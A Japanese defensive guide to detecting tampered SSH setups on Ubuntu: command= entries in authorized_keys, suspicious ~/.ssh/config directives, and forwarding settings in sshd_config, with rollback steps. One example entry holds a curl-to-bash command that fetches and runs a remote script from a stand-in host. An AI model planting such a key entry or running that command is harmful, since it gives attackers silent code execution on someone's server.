「SSH公開鍵認証を使っているから安全」と思い込んでいないだろうか。2026年8月、Ubuntu環境でauthorized_keysにcommand=オプションを仕込まれ、パスワードなしで任意のコードを実行される手口が報告されている。鍵そのものは正規の形式のままで、ログインは普段どおり成功するため気づきにくい。この記事ではauthorized_keysだけでなく~/.ssh/configとsshd_configのAllowTcpForwarding・PermitTunnelまで含めて、「鍵は本物だが機能が乗っ取られている」痕跡をコマンドで見分ける手順をまとめる。
command=付きauthorized_keys攻撃とは何が起きているのか
command=は本来、SSH鍵ごとに実行できるコマンドを1つに制限するための正規のオプションだ。たとえばバックアップ用の鍵に command="/usr/local/bin/backup.sh" と書いておけば、その鍵でログインしてきた相手はバックアップスクリプト以外を実行できなくなる、という「制限を強める」目的で使われる。
ところが2026年8月に報告されている手口はこれを逆手に取り、command=に攻撃者が用意したコードを仕込む。鍵認証自体は正規の手順で成立しているためパスワードは一切要求されず、ログインした瞬間に指定のコマンドが黙って実行される。ログイン画面や見た目のシェル操作には異常が出ないため、鍵の中身を直接見比べない限り気づけない。
~/.ssh/authorized_keysの中身を1行ずつ確認する
まず自分のホームディレクトリの鍵ファイルにcommand=が仕込まれていないか確認する。sudoは不要（自分の所有ファイルのため）で、設定変更も伴わない読み取り専用の確認だ。
grep -n "command=" ~/.ssh/authorized_keysこれは自分の公開鍵一覧の中から「実行コマンドを指定している行」だけを行番号付きで抜き出すコマンドだ。
- 正常な例：何も出力されない（該当行なし）。これはコマンド制限を仕込んだ鍵が1つもないという意味で、多くの個人利用環境では正常。
- 要確認の例：
3:command="curl -s http://example.com/x.sh | bash",no-pty ssh-ed25519 AAAAC3... user@hostこの鍵でログインすると、シェルの代わりに
curl経由で外部スクリプトを取得して実行する。自分でこの鍵を追加した記憶がなければ、その時点で不正な鍵とみなしてよい。
ただしcommand=があるからといって即座に不正とは限らない。デプロイ用に自分で制限をかけた鍵にも付いていることがあるので、「自分が設定した覚えのある内容か」を基準に判断するのがポイントだ。
次に、登録されている鍵そのものに見覚えのないものが紛れ込んでいないかを確認する。
ssh-keygen -lf ~/.ssh/authorized_keys各鍵のビット数・フィンガープリント（SHA256:...という短い識別子）・コメント（多くはユーザー名@ホスト名）が1行ずつ表示される。自分が把握している端末の数とコメントの数が一致するか、見覚えのないコメントやフィンガープリントが混ざっていないかを見る。1台につき1鍵が基本なので、心当たりのない行が増えていたら不正な鍵の追加を疑う。
authorized_keys改ざんの侵入経路そのものを追いたい場合は、以前まとめたjournalctlでSSH侵入後のauthorized_keys改ざん確認2026/8で、いつ・どの接続元から書き換えられたかをログから追う手順を扱っているので合わせて確認するとよい。
~/.ssh/configにトンネル・自動実行の仕込みがないか確認する
鍵側だけでなく、自分の接続設定ファイル~/.ssh/configも攻撃対象になり得る。ここに仕込まれると、自分がSSH接続するたびに意図しない中継や処理が発動する。
cat ~/.ssh/config 2>/dev/null || echo "config ファイルなし"ファイルが存在しない、あるいは自分で書いた覚えのある接続先設定しかなければ正常。次のディレクティブが自分の記憶にない形で入っていないかを重点的に見る。
ディレクティブ | 正規の用途 | 悪用されると起きること |
|---|---|---|
ProxyCommand / ProxyJump | 踏み台サーバー経由での接続 | 接続するたびに任意のコマンドを経由させられる |
PermitLocalCommand + LocalCommand | 接続後に手元のPCで通知コマンド等を実行 | 気づかないうちに手元のPCでコードが実行される |
RemoteCommand | ログイン後に自動実行する処理を指定 | ログインのたびに接続先で意図しない処理が走る |
ピンポイントで確認したい場合は次のコマンドで絞り込める。
grep -nE "ProxyCommand|LocalCommand|RemoteCommand|PermitLocalCommand" ~/.ssh/config該当行が出て、その内容に心当たりがなければnano ~/.ssh/configで該当行を削除する。自分のホームディレクトリ内のファイルなのでsudoは不要、設定変更もこのファイルの範囲にとどまり元に戻すのも簡単（該当行を消すだけ）だ。
sshd_configのAllowTcpForwarding・PermitTunnelを点検する
ここからはサーバー側（/etc/ssh/sshd_config）の設定で、変更にはsudoが必要になる。ファイルを直接grepするより、実際に有効になっている値（未設定項目のデフォルトを含む）を表示するsshd -Tを使うのが確実だ。
sudo sshd -T | grep -iE "allowtcpforwarding|permittunnel|permitopen|gatewayports"これはsshdが実際に読み込んでいる設定内容（ファイルに明記されていない項目もデフォルト値で表示される）を確認するコマンドで、読み取りのみ・設定は一切変更しない。
allowtcpforwarding yes
permittunnel no
permitopen any
gatewayports noディレクティブ | Ubuntu 24.04の既定値 | できるようになること | 見直しの目安 |
|---|---|---|---|
AllowTcpForwarding | yes（既定でこの値） | 鍵の持ち主が任意の宛先へポート転送（トンネル）を張れる | 踏み台用途が不要なら |
PermitTunnel | no | L3/L2の仮想トンネル（VPNに近い機能）を許可する | 設定した覚えがないのに |
PermitOpen | any | ポート転送で接続できる宛先の制限 | 特定ホスト:ポートに絞ると安全性が上がる |
GatewayPorts | no | 転送したポートを外部にも公開するか | 基本は |
ここで重要なのは「AllowTcpForwarding yes」自体はUbuntu 24.04の初期設定どおりであり、それだけでは異常の証拠にならないという点だ。危険なのは、以前に自分でnoに絞っていたはずなのにyesへ戻っている場合や、PermitTunnelのように既定がnoの項目が理由なくyesになっている場合。設定ファイルの更新日時も合わせて見ておくとよい。
stat -c '%y %n' /etc/ssh/sshd_config自分が最後に触った覚えのある日付と、表示された更新日時がずれていないかを確認する。心当たりのない最近の日時になっていたら、その前後のログイン履歴をjournalctlで洗う必要がある（前述のjournalctlでSSH侵入後のauthorized_keys改ざん確認2026/8を参照）。
なお、RHEL/CentOS系ではサービス名がsshdだが、Ubuntu/Debianではsshという名称になっている点に注意（後述の再読み込みコマンドで使用）。
異常が見つかったときの対処と元に戻す方法
点検で不審な点が見つかった場合の対処を、リスクが小さいものから順にまとめる。
- authorized_keysに不審なcommand=行がある場合：
nano ~/.ssh/authorized_keysで該当行だけを削除して保存する。自分のホームディレクトリ内の変更なのでsudo不要。誤って必要な鍵まで消してしまった場合は、行を書き戻すだけで復旧できる。編集後は権限も念のため確認しておく。chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys - ~/.ssh/configに不審な行がある場合：同様に該当行を削除するだけでよい。他の接続先設定に影響しない。
- sshd_configの値を変更する場合：必ず先にバックアップを取ってから編集する。
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%F) sudo nano /etc/ssh/sshd_config # PermitTunnel no を明記するなど、必要な行を編集編集後は反映前に必ず文法チェックを行う（ここでミスがあるとSSH接続自体ができなくなるため重要）。
sudo sshd -t何も出力されなければ文法上は問題ない。問題なければ設定を再読み込みする。
sudo systemctl reload ssh元に戻す方法：取っておいたバックアップで上書きしてから再読み込みすればよい。
sudo cp /etc/ssh/sshd_config.bak.日付 /etc/ssh/sshd_config sudo sshd -t && sudo systemctl reload ssh - 心当たりのない鍵が登録されていた場合：該当行を削除するだけでなく、その鍵で過去にログインされていないかも合わせて確認する。放置すると再び同じ経路で侵入される。
SSH自体の設定を見直すついでに、sudo権限のパスワード省略設定（NOPASSWD）が意図せず広がっていないかも点検しておくと、鍵の悪用と権限昇格の両方を塞げる。手順はsudo -lとNOPASSWDを点検2026年8月版にまとめている。
背景として、2026年4月には東京リージョンのUbuntu 24.04サーバーで22番ポートを24時間観測したところ、SSH関連ログが38,421件、うち約27,000件が「Failed password」、約9,800件が「Invalid user」だったという観測例が報告されている。SSHは常時自動スキャンの対象になっているという前提で、鍵・設定の定期点検を習慣にしておくのが現実的な防御になる。
まとめ
2026年8月に報告されたcommand=付きauthorized_keys攻撃は、鍵認証自体は正規の手順で成立するため見た目では気づけない。grep -n "command=" ~/.ssh/authorized_keysで仕込みの有無、ssh-keygen -lfで見覚えのない鍵の混入、~/.ssh/configのProxyCommand・RemoteCommand、sudo sshd -TでAllowTcpForwarding・PermitTunnelの実効値を確認する。いずれも読み取りだけなら影響なく安全に試せ、変更が必要な箇所もバックアップとsshd -tの文法チェックがあれば元に戻せる。月1回のペースで習慣にしておきたい。